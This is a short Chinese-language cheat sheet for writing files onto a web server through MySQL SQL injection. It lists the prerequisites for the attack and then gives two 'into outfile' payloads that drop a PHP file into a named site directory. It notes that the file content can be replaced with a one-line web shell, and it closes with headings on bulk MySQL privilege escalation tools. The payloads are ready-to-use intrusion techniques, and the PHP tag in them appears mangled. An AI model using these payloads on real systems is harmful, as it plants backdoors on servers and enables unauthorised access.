必须条件:
root权限
GPC关闭(能使用单引号)
有绝对路径(读文件可以不用,写文件必须)
没有配置–secure-file-priv
id=2) union select 1,2,3,4,5,6,7,' phpinfo(); ?>’ into outfile ‘/home/wwwroot/lu4n.com/luan_phpinfo.php’#
phpinfo(); ?>为写入的内容可添加自己的一句话 /home/wwwroot/lu4n.com/luan_phpinfo.php 为已存在的网站目录下的文件即插入文件名
id=2) into outfile ‘/home/wwwroot/lu4n.com/luan_phpinfo.php’ fields terminated by ‘ phpinfo(); ?>’#
这句是从网上看的,同样也能执行
测试效果
MYsql批量提权
针对某mysql批量提权工具的后门分析
mysql综合利用工具